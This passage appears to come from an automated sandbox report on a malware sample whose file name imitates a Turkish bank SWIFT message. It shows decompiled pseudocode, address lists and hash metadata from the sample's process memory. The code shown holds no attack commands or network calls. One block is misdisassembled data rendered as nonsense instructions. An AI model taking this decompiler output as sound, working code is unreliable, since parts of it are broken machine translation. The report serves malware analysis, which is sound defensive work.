					asm("lock xadd [esi], eax");
					if((_t34 | 0xffffffff) == 0) {
						 *0x136b1e0(_t61);
						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t61 + 4))))))();
					}
					goto L7;
				}
				L4:
				_t31 = 0x7ffe0386;
				goto L5;
			}




















                                                                        0x01290055
                                                                        0x0129005d
                                                                        0x01290062
                                                                        0x0129006c
                                                                        0x0129006f
                                                                        0x01290074
                                                                        0x0129007a
                                                                        0x0129007a
                                                                        0x01290080
                                                                        0x01290080
                                                                        0x01290087
                                                                        0x0129008d
                                                                        0x0129008f
                                                                        0x01290093
                                                                        0x01290095
                                                                        0x0129009b
                                                                        0x012900f8
                                                                        0x012900fb
                                                                        0x012900fc
                                                                        0x012900ff
                                                                        0x01290108
                                                                        0x01290108
                                                                        0x012900a2
                                                                        0x012900a6
                                                                        0x012900b3
                                                                        0x012900bc
                                                                        0x012900c5
                                                                        0x012900ca
                                                                        0x012dc01e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012dc02d
                                                                        0x012900d5
                                                                        0x012900d9
                                                                        0x012dc03d
                                                                        0x012dc046
                                                                        0x012dc046
                                                                        0x012900df
                                                                        0x012900e2
                                                                        0x012900ea
                                                                        0x012900ef
                                                                        0x012900f2
                                                                        0x012900f6
                                                                        0x01290111
                                                                        0x01290117
                                                                        0x01290117
                                                                        0x00000000
                                                                        0x012900f6
                                                                        0x012900d0
                                                                        0x012900d0
                                                                        0x00000000

                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: DebugPrintTimes
                                                                        • String ID:
                                                                        • API String ID: 3446177414-0
                                                                        • Opcode ID: a1a0b0f3fc26c82381e2cf1ac935ab521a8ad39ac645f8cdf15f3a63cc49289b
                                                                        • Instruction ID: 751a53830c8c1695ebacbdddb032beed582c5c4a529a95215a47fbaf2e4b7be6
                                                                        • Opcode Fuzzy Hash: a1a0b0f3fc26c82381e2cf1ac935ab521a8ad39ac645f8cdf15f3a63cc49289b
                                                                        • Instruction Fuzzy Hash: 0331AE31621B05CFDB22CF2CC940B96B7E9FF88714F14456DE69687650DB71A801CB50
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A2581 Relevance: 1.6, Strings: 1, Instructions: 329COMMONCrypto
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 83%
                                                                        			E012A2581(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, char _a1546912038) {
				signed int _v8;
				signed int _v16;
				unsigned int _v24;
				void* _v28;
				signed int _v32;
				unsigned int _v36;
				signed int _v37;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _t233;
				signed int _t237;
				void* _t241;
				signed int _t247;
				signed int _t249;
				intOrPtr _t251;
				signed int _t254;
				signed int _t261;
				signed int _t264;
				signed int _t272;
				intOrPtr _t278;
				signed int _t280;
				signed int _t282;
				void* _t283;
				signed int _t284;
				unsigned int _t287;
				signed int _t291;
				intOrPtr* _t292;
				signed int _t293;
				signed int _t297;
				intOrPtr _t309;
				signed int _t318;
				signed int _t320;
				signed int _t321;
				signed int _t325;
				signed int _t326;
				void* _t328;
				signed int _t329;
				signed int _t331;
				signed int _t334;
				void* _t335;
				void* _t337;

				_t331 = _t334;
				_t335 = _t334 - 0x4c;
				_v8 =  *0x136d360 ^ _t331;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t325 = 0x136b2e8;
				_v56 = _a4;
				_v48 = __edx;
				_v60 = __ecx;
				_t287 = 0;
				_v80 = 0;
				asm("movsd");
				_v64 = 0;
				_v76 = 0;
				_v72 = 0;
				asm("movsd");
				_v44 = 0;
				_v52 = 0;
				_v68 = 0;
				asm("movsd");
				_v32 = 0;
				_v36 = 0;
				asm("movsd");
				_v16 = 0;
				_t278 = 0x48;
				_t307 = 0 | (_v24 >> 0x0000001c & 0x00000003) == 0x00000001;
				_t318 = 0;
				_v37 = _t307;
				if(_v48 <= 0) {
					L16:
					_t45 = _t278 - 0x48; // 0x0
					__eflags = _t45 - 0xfffe;
					if(_t45 > 0xfffe) {
						_t326 = 0xc0000106;
						goto L32;
					} else {
						_t325 = L01294620(_t287,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t278);
						_v52 = _t325;
						__eflags = _t325;
						if(_t325 == 0) {
							_t326 = 0xc0000017;
							goto L32;
						} else {
							 *(_t325 + 0x44) =  *(_t325 + 0x44) & 0x00000000;
							_t50 = _t325 + 0x48; // 0x48
							_t320 = _t50;
							_t307 = _v32;
							 *((intOrPtr*)(_t325 + 0x3c)) = _t278;
							_t280 = 0;
							 *((short*)(_t325 + 0x30)) = _v48;
							__eflags = _t307;
							if(_t307 != 0) {
								 *(_t325 + 0x18) = _t320;
								__eflags = _t307 - 0x1368478;
								 *_t325 = ((0 | _t307 == 0x01368478) - 0x00000001 & 0xfffffffb) + 7;
								E012BF3E0(_t320,  *((intOrPtr*)(_t307 + 4)),  *_t307 & 0x0000ffff);
								_t307 = _v32;
								_t335 = _t335 + 0xc;
								_t280 = 1;
								__eflags = _a8;
								_t320 = _t320 + (( *_t307 & 0x0000ffff) >> 1) * 2;
								if(_a8 != 0) {
									_t272 = E013039F2(_t320);
									_t307 = _v32;
									_t320 = _t272;
								}
							}
							_t291 = 0;
							_v16 = 0;
							__eflags = _v48;
							if(_v48 <= 0) {
								L31:
								_t326 = _v68;
								__eflags = 0;
								 *((short*)(_t320 - 2)) = 0;
								goto L32;
							} else {
								_t282 = _t325 + _t280 * 4;
								_v56 = _t282;
								do {
									__eflags = _t307;
									if(_t307 != 0) {
										_t233 =  *(_v60 + _t291 * 4);
										__eflags = _t233;
										if(_t233 == 0) {
											goto L30;
										} else {
											__eflags = _t233 == 5;
											if(_t233 == 5) {
												goto L30;
											} else {
												goto L22;
											}
										}
									} else {
										L22:
										 *_t282 =  *(_v60 + _t291 * 4);
										 *(_t282 + 0x18) = _t320;
										_t237 =  *(_v60 + _t291 * 4);
										__eflags = _t237 - 8;
										if(_t237 > 8) {
											goto L56;
										} else {
											switch( *((intOrPtr*)(_t237 * 4 +  &M012A2959))) {
												case 0:
													__ax =  *0x1368488;
													__eflags = __ax;
													if(__ax == 0) {
														goto L29;
													} else {
														__ax & 0x0000ffff = E012BF3E0(__edi,  *0x136848c, __ax & 0x0000ffff);
														__eax =  *0x1368488 & 0x0000ffff;
														goto L26;
													}
													goto L108;
												case 1:
													L45:
													E012BF3E0(_t320, _v80, _v64);
													_t267 = _v64;
													goto L26;
												case 2:
													 *0x1368480 & 0x0000ffff = E012BF3E0(__edi,  *0x1368484,  *0x1368480 & 0x0000ffff);
													__eax =  *0x1368480 & 0x0000ffff;
													__eax = ( *0x1368480 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													goto L28;
												case 3:
													__eax = _v44;
													__eflags = __eax;
													if(__eax == 0) {
														goto L29;
													} else {
														__esi = __eax + __eax;
														__eax = E012BF3E0(__edi, _v72, __esi);
														__edi = __edi + __esi;
														__esi = _v52;
														goto L27;
													}
													goto L108;
												case 4:
													_push(0x2e);
													_pop(__eax);
													 *(__esi + 0x44) = __edi;
													 *__edi = __ax;
													__edi = __edi + 4;
													_push(0x3b);
													_pop(__eax);
													 *(__edi - 2) = __ax;
													goto L29;
												case 5:
													__eflags = _v36;
													if(_v36 == 0) {
														goto L45;
													} else {
														E012BF3E0(_t320, _v76, _v36);
														_t267 = _v36;
													}
													L26:
													_t335 = _t335 + 0xc;
													_t320 = _t320 + (_t267 >> 1) * 2 + 2;
													__eflags = _t320;
													L27:
													_push(0x3b);
													_pop(_t269);
													 *((short*)(_t320 - 2)) = _t269;
													goto L28;
												case 6:
													__ebx =  *0x136575c;
													__eflags = __ebx - 0x136575c;
													if(__ebx != 0x136575c) {
														_push(0x3b);
														_pop(__esi);
														do {
															 *(__ebx + 8) & 0x0000ffff = __ebx + 0xa;
															E012BF3E0(__edi, __ebx + 0xa,  *(__ebx + 8) & 0x0000ffff) =  *(__ebx + 8) & 0x0000ffff;
															__eax = ( *(__ebx + 8) & 0x0000ffff) >> 1;
															__edi = __edi + __eax * 2;
															__edi = __edi + 2;
															 *(__edi - 2) = __si;
															__ebx =  *__ebx;
															__eflags = __ebx - 0x136575c;
														} while (__ebx != 0x136575c);
														__esi = _v52;
														__ecx = _v16;
														__edx = _v32;
													}
													__ebx = _v56;
													goto L29;
												case 7:
													 *0x1368478 & 0x0000ffff = E012BF3E0(__edi,  *0x136847c,  *0x1368478 & 0x0000ffff);
													__eax =  *0x1368478 & 0x0000ffff;
													__eax = ( *0x1368478 & 0x0000ffff) >> 1;
													__eflags = _a8;
													__edi = __edi + __eax * 2;
													if(_a8 != 0) {
														__ecx = __edi;
														__eax = E013039F2(__ecx);
														__edi = __eax;
													}
													goto L28;
												case 8:
													__eax = 0;
													 *(__edi - 2) = __ax;
													 *0x1366e58 & 0x0000ffff = E012BF3E0(__edi,  *0x1366e5c,  *0x1366e58 & 0x0000ffff);
													 *(__esi + 0x38) = __edi;
													__eax =  *0x1366e58 & 0x0000ffff;
													__eax = ( *0x1366e58 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													__edi = __edi + 2;
													L28:
													_t291 = _v16;
													_t307 = _v32;
													L29:
													_t282 = _t282 + 4;
													__eflags = _t282;
													_v56 = _t282;
													goto L30;
											}
										}
									}
									goto L108;
									L30:
									_t291 = _t291 + 1;
									_v16 = _t291;
									__eflags = _t291 - _v48;
								} while (_t291 < _v48);
								goto L31;
							}
						}
					}
				} else {
					while(1) {
						L1:
						_t237 =  *(_v60 + _t318 * 4);
						if(_t237 > 8) {
							break;
						}
						switch( *((intOrPtr*)(_t237 * 4 +  &M012A2935))) {
							case 0:
								__ax =  *0x1368488;
								__eflags = __ax;
								if(__ax != 0) {
									__eax = __ax & 0x0000ffff;
									__ebx = __ebx + 2;
									__eflags = __ebx;
									goto L53;
								}
								goto L14;
							case 1:
								L44:
								_t307 =  &_v64;
								_v80 = E012A2E3E(0,  &_v64);
								_t278 = _t278 + _v64 + 2;
								goto L13;
							case 2:
								__eax =  *0x1368480 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x1368480;
									goto L80;
								}
								goto L14;
							case 3:
								__eax = E0128EEF0(0x13679a0);
								__eax =  &_v44;
								_push(__eax);
								_push(0);
								_push(0);
								_push(4);
								_push(L"PATH");
								_push(0);
								L57();
								__esi = __eax;
								_v68 = __esi;
								__eflags = __esi - 0xc0000023;
								if(__esi != 0xc0000023) {
									L10:
									__eax = E0128EB70(__ecx, 0x13679a0);
									__eflags = __esi - 0xc0000100;
									if(__esi == 0xc0000100) {
										_v44 = _v44 & 0x00000000;
										__eax = 0;
										_v68 = 0;
										goto L13;
									} else {
										__eflags = __esi;
										if(__esi < 0) {
											L32:
											_t211 = _v72;
											__eflags = _t211;
											if(_t211 != 0) {
												L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t211);
											}
											_t212 = _v52;
											__eflags = _t212;
											if(_t212 != 0) {
												__eflags = _t326;
												if(_t326 < 0) {
													L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t212);
													_t212 = 0;
												}
											}
											goto L36;
										} else {
											__eax = _v44;
											__ebx = __ebx + __eax * 2;
											__ebx = __ebx + 2;
											__eflags = __ebx;
											L13:
											_t287 = _v36;
											goto L14;
										}
									}
								} else {
									__eax = _v44;
									__ecx =  *0x1367b9c; // 0x0
									_v44 + _v44 =  *[fs:0x30];
									__ecx = __ecx + 0x180000;
									__eax = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), __ecx,  *[fs:0x30]);
									_v72 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										__eax = E0128EB70(__ecx, 0x13679a0);
										__eax = _v52;
										L36:
										_pop(_t319);
										_pop(_t327);
										__eflags = _v8 ^ _t331;
										_pop(_t279);
										return E012BB640(_t212, _t279, _v8 ^ _t331, _t307, _t319, _t327);
									} else {
										__ecx =  &_v44;
										_push(__ecx);
										_push(_v44);
										_push(__eax);
										_push(4);
										_push(L"PATH");
										_push(0);
										L57();
										__esi = __eax;
										_v68 = __eax;
										goto L10;
									}
								}
								goto L108;
							case 4:
								__ebx = __ebx + 4;
								goto L14;
							case 5:
								_t274 = _v56;
								if(_v56 != 0) {
									_t307 =  &_v36;
									_t276 = E012A2E3E(_t274,  &_v36);
									_t287 = _v36;
									_v76 = _t276;
								}
								if(_t287 == 0) {
									goto L44;
								} else {
									_t278 = _t278 + 2 + _t287;
								}
								goto L14;
							case 6:
								__eax =  *0x1365764 & 0x0000ffff;
								goto L53;
							case 7:
								__eax =  *0x1368478 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = _a8;
								if(_a8 != 0) {
									__ebx = __ebx + 0x16;
									__ebx = __ebx + __eax;
								}
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x1368478;
									L80:
									_v32 = __eax;
								}
								goto L14;
							case 8:
								__eax =  *0x1366e58 & 0x0000ffff;
								__eax = ( *0x1366e58 & 0x0000ffff) + 2;
								L53:
								__ebx = __ebx + __eax;
								L14:
								_t318 = _t318 + 1;
								if(_t318 >= _v48) {
									goto L16;
								} else {
									_t307 = _v37;
									goto L1;
								}
								goto L108;
						}
					}
					L56:
					_t292 = 0x25;
					asm("int 0x29");
					asm("out 0x28, al");
					asm("o16 sub [edx], ch");
					asm("daa");
					_t241 = _t237 -  *_t292 + _t335 -  *_t292 -  *[es:ecx];
					_t328 = _t325 + 1;
					 *_t307 =  *_t307 - _t292;
					 *0x1f012a26 =  *0x1f012a26 + _t241;
					_pop(_t283);
					 *[cs:eax+ebp+0x5b35012a] =  *[cs:eax+ebp+0x5b35012a] + _t307;
					 *[cs:edx] =  *[cs:edx] + _t241;
					 *_t307 =  *_t307 - _t331;
					 *((intOrPtr*)(_t241 - 0x9fed5d8)) =  *((intOrPtr*)(_t241 - 0x9fed5d8)) + _t241;
					asm("daa");
					_push(ds);
					 *_t307 =  *_t307 - _t292;
					 *((intOrPtr*)(_t328 + 0x28)) =  *((intOrPtr*)(_t328 + 0x28)) + _t292;
					asm("daa");
					asm("fcomp dword [ebx+0x2e]");
					 *((intOrPtr*)(_t241 -  *_t292 -  *_t292 -  *_t292 +  &_a1546912038)) =  *((intOrPtr*)(_t241 -  *_t292 -  *_t292 -  *_t292 +  &_a1546912038)) + _t328;
					_t337 = _t335 + _t292;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0x20);
					_push(0x134ff00);
					E012CD08C(_t283, _t320, _t328);
					_v44 =  *[fs:0x18];
					_t321 = 0;
					 *_a24 = 0;
					_t284 = _a12;
					__eflags = _t284;
					if(_t284 == 0) {
						_t247 = 0xc0000100;
					} else {
						_v8 = 0;
						_t329 = 0xc0000100;
						_v52 = 0xc0000100;
						_t249 = 4;
						while(1) {
							_v40 = _t249;
							__eflags = _t249;
							if(_t249 == 0) {
								break;
							}
							_t297 = _t249 * 0xc;
							_v48 = _t297;
							__eflags = _t284 -  *((intOrPtr*)(_t297 + 0x1251664));
							if(__eflags <= 0) {
								if(__eflags == 0) {
									_t264 = E012BE5C0(_a8,  *((intOrPtr*)(_t297 + 0x1251668)), _t284);
									_t337 = _t337 + 0xc;
									__eflags = _t264;
									if(__eflags == 0) {
										_t329 = E012F51BE(_t284,  *((intOrPtr*)(_v48 + 0x125166c)), _a16, _t321, _t329, __eflags, _a20, _a24);
										_v52 = _t329;
										break;
									} else {
										_t249 = _v40;
										goto L62;
									}
									goto L70;
								} else {
									L62:
									_t249 = _t249 - 1;
									continue;
								}
							}
							break;
						}
						_v32 = _t329;
						__eflags = _t329;
						if(_t329 < 0) {
							__eflags = _t329 - 0xc0000100;
							if(_t329 == 0xc0000100) {
								_t293 = _a4;
								__eflags = _t293;
								if(_t293 != 0) {
									_v36 = _t293;
									__eflags =  *_t293 - _t321;
									if( *_t293 == _t321) {
										_t329 = 0xc0000100;
										goto L76;
									} else {
										_t309 =  *((intOrPtr*)(_v44 + 0x30));
										_t251 =  *((intOrPtr*)(_t309 + 0x10));
										__eflags =  *((intOrPtr*)(_t251 + 0x48)) - _t293;
										if( *((intOrPtr*)(_t251 + 0x48)) == _t293) {
											__eflags =  *(_t309 + 0x1c);
											if( *(_t309 + 0x1c) == 0) {
												L106:
												_t329 = E012A2AE4( &_v36, _a8, _t284, _a16, _a20, _a24);
												_v32 = _t329;
												__eflags = _t329 - 0xc0000100;
												if(_t329 != 0xc0000100) {
													goto L69;
												} else {
													_t321 = 1;
													_t293 = _v36;
													goto L75;
												}
											} else {
												_t254 = E01286600( *(_t309 + 0x1c));
												__eflags = _t254;
												if(_t254 != 0) {
													goto L106;
												} else {
													_t293 = _a4;
													goto L75;
												}
											}
										} else {
											L75:
											_t329 = E012A2C50(_t293, _a8, _t284, _a16, _a20, _a24, _t321);
											L76:
											_v32 = _t329;
											goto L69;
										}
									}
									goto L108;
								} else {
									E0128EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
									_v8 = 1;
									_v36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v44 + 0x30)) + 0x10)) + 0x48));
									_t329 = _a24;
									_t261 = E012A2AE4( &_v36, _a8, _t284, _a16, _a20, _t329);
									_v32 = _t261;
									__eflags = _t261 - 0xc0000100;
									if(_t261 == 0xc0000100) {
										_v32 = E012A2C50(_v36, _a8, _t284, _a16, _a20, _t329, 1);
									}
									_v8 = _t321;
									E012A2ACB();
								}
							}
						}
						L69:
						_v8 = 0xfffffffe;
						_t247 = _t329;
					}
					L70:
					return E012CD0D1(_t247);
				}
				L108:
			}





















































                                                                        0x012a2584
                                                                        0x012a2586
                                                                        0x012a2590
                                                                        0x012a2596
                                                                        0x012a2597
                                                                        0x012a2598
                                                                        0x012a2599
                                                                        0x012a259e
                                                                        0x012a25a4
                                                                        0x012a25a9
                                                                        0x012a25ac
                                                                        0x012a25ae
                                                                        0x012a25b1
                                                                        0x012a25b2
                                                                        0x012a25b5
                                                                        0x012a25b8
                                                                        0x012a25bb
                                                                        0x012a25bc
                                                                        0x012a25bf
                                                                        0x012a25c2
                                                                        0x012a25c5
                                                                        0x012a25c6
                                                                        0x012a25cb
                                                                        0x012a25ce
                                                                        0x012a25d8
                                                                        0x012a25dd
                                                                        0x012a25de
                                                                        0x012a25e1
                                                                        0x012a25e3
                                                                        0x012a25e9
                                                                        0x012a26da
                                                                        0x012a26da
                                                                        0x012a26dd
                                                                        0x012a26e2
                                                                        0x012e5b56
                                                                        0x00000000
                                                                        0x012a26e8
                                                                        0x012a26f9
                                                                        0x012a26fb
                                                                        0x012a26fe
                                                                        0x012a2700
                                                                        0x012e5b60
                                                                        0x00000000
                                                                        0x012a2706
                                                                        0x012a2706
                                                                        0x012a270a
                                                                        0x012a270a
                                                                        0x012a270d
                                                                        0x012a2713
                                                                        0x012a2716
                                                                        0x012a2718
                                                                        0x012a271c
                                                                        0x012a271e
                                                                        0x012e5b6c
                                                                        0x012e5b6f
                                                                        0x012e5b7f
                                                                        0x012e5b89
                                                                        0x012e5b8e
                                                                        0x012e5b93
                                                                        0x012e5b96
                                                                        0x012e5b9c
                                                                        0x012e5ba0
                                                                        0x012e5ba3
                                                                        0x012e5bab
                                                                        0x012e5bb0
                                                                        0x012e5bb3
                                                                        0x012e5bb3
                                                                        0x012e5ba3
                                                                        0x012a2724
                                                                        0x012a2726
                                                                        0x012a2729
                                                                        0x012a272c
                                                                        0x012a279d
                                                                        0x012a279d
                                                                        0x012a27a0
                                                                        0x012a27a2
                                                                        0x00000000
                                                                        0x012a272e
                                                                        0x012a272e
                                                                        0x012a2731
                                                                        0x012a2734
                                                                        0x012a2734
                                                                        0x012a2736
                                                                        0x012e5bc1
                                                                        0x012e5bc1
                                                                        0x012e5bc4
                                                                        0x00000000
                                                                        0x012e5bca
                                                                        0x012e5bca
                                                                        0x012e5bcd
                                                                        0x00000000
                                                                        0x012e5bd3
                                                                        0x00000000
                                                                        0x012e5bd3
                                                                        0x012e5bcd
                                                                        0x012a273c
                                                                        0x012a273c
                                                                        0x012a2742
                                                                        0x012a2747
                                                                        0x012a274a
                                                                        0x012a274d
                                                                        0x012a2750
                                                                        0x00000000
                                                                        0x012a2756
                                                                        0x012a2756
                                                                        0x00000000
                                                                        0x012a2902
                                                                        0x012a2908
                                                                        0x012a290b
                                                                        0x00000000
                                                                        0x012a2911
                                                                        0x012a291c
                                                                        0x012a2921
                                                                        0x00000000
                                                                        0x012a2921
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a2880
                                                                        0x012a2887
                                                                        0x012a288c
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a2805
                                                                        0x012a280a
                                                                        0x012a2814
                                                                        0x012a2816
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a281e
                                                                        0x012a2821
                                                                        0x012a2823
                                                                        0x00000000
                                                                        0x012a2829
                                                                        0x012a2829
                                                                        0x012a2831
                                                                        0x012a283c
                                                                        0x012a283e
                                                                        0x00000000
                                                                        0x012a283e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a284e
                                                                        0x012a2850
                                                                        0x012a2851
                                                                        0x012a2854
                                                                        0x012a2857
                                                                        0x012a285a
                                                                        0x012a285c
                                                                        0x012a285d
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a275d
                                                                        0x012a2761
                                                                        0x00000000
                                                                        0x012a2767
                                                                        0x012a276e
                                                                        0x012a2773
                                                                        0x012a2773
                                                                        0x012a2776
                                                                        0x012a2778
                                                                        0x012a277e
                                                                        0x012a277e
                                                                        0x012a2781
                                                                        0x012a2781
                                                                        0x012a2783
                                                                        0x012a2784
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e5bd8
                                                                        0x012e5bde
                                                                        0x012e5be4
                                                                        0x012e5be6
                                                                        0x012e5be8
                                                                        0x012e5be9
                                                                        0x012e5bee
                                                                        0x012e5bf8
                                                                        0x012e5bff
                                                                        0x012e5c01
                                                                        0x012e5c04
                                                                        0x012e5c07
                                                                        0x012e5c0b
                                                                        0x012e5c0d
                                                                        0x012e5c0d
                                                                        0x012e5c15
                                                                        0x012e5c18
                                                                        0x012e5c1b
                                                                        0x012e5c1b
                                                                        0x012e5c1e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a28c3
                                                                        0x012a28c8
                                                                        0x012a28d2
                                                                        0x012a28d4
                                                                        0x012a28d8
                                                                        0x012a28db
                                                                        0x012e5c26
                                                                        0x012e5c28
                                                                        0x012e5c2d
                                                                        0x012e5c2d
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e5c34
                                                                        0x012e5c36
                                                                        0x012e5c49
                                                                        0x012e5c4e
                                                                        0x012e5c54
                                                                        0x012e5c5b
                                                                        0x012e5c5d
                                                                        0x012e5c60
                                                                        0x012a2788
                                                                        0x012a2788
                                                                        0x012a278b
                                                                        0x012a278e
                                                                        0x012a278e
                                                                        0x012a278e
                                                                        0x012a2791
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a2756
                                                                        0x012a2750
                                                                        0x00000000
                                                                        0x012a2794
                                                                        0x012a2794
                                                                        0x012a2795
                                                                        0x012a2798
                                                                        0x012a2798
                                                                        0x00000000
                                                                        0x012a2734
                                                                        0x012a272c
                                                                        0x012a2700
                                                                        0x012a25ef
                                                                        0x012a25ef
                                                                        0x012a25ef
                                                                        0x012a25f2
                                                                        0x012a25f8
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a25fe
                                                                        0x00000000
                                                                        0x012a28e6
                                                                        0x012a28ec
                                                                        0x012a28ef
                                                                        0x012a28f5
                                                                        0x012a28f8
                                                                        0x012a28f8
                                                                        0x00000000
                                                                        0x012a28f8
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a2866
                                                                        0x012a2866
                                                                        0x012a2876
                                                                        0x012a2879
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a27e0
                                                                        0x012a27e7
                                                                        0x012a27e9
                                                                        0x012a27eb
                                                                        0x012e5afd
                                                                        0x00000000
                                                                        0x012e5afd
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a2633
                                                                        0x012a2638
                                                                        0x012a263b
                                                                        0x012a263c
                                                                        0x012a263e
                                                                        0x012a2640
                                                                        0x012a2642
                                                                        0x012a2647
                                                                        0x012a2649
                                                                        0x012a264e
                                                                        0x012a2650
                                                                        0x012a2653
                                                                        0x012a2659
                                                                        0x012a26a2
                                                                        0x012a26a7
                                                                        0x012a26ac
                                                                        0x012a26b2
                                                                        0x012e5b11
                                                                        0x012e5b15
                                                                        0x012e5b17
                                                                        0x00000000
                                                                        0x012a26b8
                                                                        0x012a26b8
                                                                        0x012a26ba
                                                                        0x012a27a6
                                                                        0x012a27a6
                                                                        0x012a27a9
                                                                        0x012a27ab
                                                                        0x012a27b9
                                                                        0x012a27b9
                                                                        0x012a27be
                                                                        0x012a27c1
                                                                        0x012a27c3
                                                                        0x012a27c5
                                                                        0x012a27c7
                                                                        0x012e5c74
                                                                        0x012e5c79
                                                                        0x012e5c79
                                                                        0x012a27c7
                                                                        0x00000000
                                                                        0x012a26c0
                                                                        0x012a26c0
                                                                        0x012a26c3
                                                                        0x012a26c6
                                                                        0x012a26c6
                                                                        0x012a26c9
                                                                        0x012a26c9
                                                                        0x00000000
                                                                        0x012a26c9
                                                                        0x012a26ba
                                                                        0x012a265b
                                                                        0x012a265b
                                                                        0x012a265e
                                                                        0x012a2667
                                                                        0x012a266d
                                                                        0x012a2677
                                                                        0x012a267c
                                                                        0x012a267f
                                                                        0x012a2681
                                                                        0x012e5b49
                                                                        0x012e5b4e
                                                                        0x012a27cd
                                                                        0x012a27d0
                                                                        0x012a27d1
                                                                        0x012a27d2
                                                                        0x012a27d4
                                                                        0x012a27dd
                                                                        0x012a2687
                                                                        0x012a2687
                                                                        0x012a268a
                                                                        0x012a268b
                                                                        0x012a268e
                                                                        0x012a268f
                                                                        0x012a2691
                                                                        0x012a2696
                                                                        0x012a2698
                                                                        0x012a269d
                                                                        0x012a269f
                                                                        0x00000000
                                                                        0x012a269f
                                                                        0x012a2681
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a2846
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a2605
                                                                        0x012a260a
                                                                        0x012a260c
                                                                        0x012a2611
                                                                        0x012a2616
                                                                        0x012a2619
                                                                        0x012a2619
                                                                        0x012a261e
                                                                        0x00000000
                                                                        0x012a2624
                                                                        0x012a2627
                                                                        0x012a2627
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e5b1f
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a2894
                                                                        0x012a289b
                                                                        0x012a289d
                                                                        0x012a28a1
                                                                        0x012e5b2b
                                                                        0x012e5b2e
                                                                        0x012e5b2e
                                                                        0x012a28a7
                                                                        0x012a28a9
                                                                        0x012e5b04
                                                                        0x012e5b09
                                                                        0x012e5b09
                                                                        0x012e5b09
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e5b35
                                                                        0x012e5b3c
                                                                        0x012a28fb
                                                                        0x012a28fb
                                                                        0x012a26cc
                                                                        0x012a26cc
                                                                        0x012a26d0
                                                                        0x00000000
                                                                        0x012a26d2
                                                                        0x012a26d2
                                                                        0x00000000
                                                                        0x012a26d2
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a25fe
                                                                        0x012a292d
                                                                        0x012a292f
                                                                        0x012a2930
                                                                        0x012a2935
                                                                        0x012a2939
                                                                        0x012a293e
                                                                        0x012a2941
                                                                        0x012a2945
                                                                        0x012a2946
                                                                        0x012a2948
                                                                        0x012a294e
                                                                        0x012a294f
                                                                        0x012a2957
                                                                        0x012a295a
                                                                        0x012a295c
                                                                        0x012a2962
                                                                        0x012a2965
                                                                        0x012a2966
                                                                        0x012a2968
                                                                        0x012a296e
                                                                        0x012a2971
                                                                        0x012a2974
                                                                        0x012a297b
                                                                        0x012a297e
                                                                        0x012a297f
                                                                        0x012a2980
                                                                        0x012a2981
                                                                        0x012a2982
                                                                        0x012a2983
                                                                        0x012a2984
                                                                        0x012a2985
                                                                        0x012a2986
                                                                        0x012a2987
                                                                        0x012a2988
                                                                        0x012a2989
                                                                        0x012a298a
                                                                        0x012a298b
                                                                        0x012a298c
                                                                        0x012a298d
                                                                        0x012a298e
                                                                        0x012a298f
                                                                        0x012a2990
                                                                        0x012a2992
                                                                        0x012a2997
                                                                        0x012a29a3
                                                                        0x012a29a6
                                                                        0x012a29ab
                                                                        0x012a29ad
                                                                        0x012a29b0
                                                                        0x012a29b2
                                                                        0x012e5c80
                                                                        0x012a29b8
                                                                        0x012a29b8
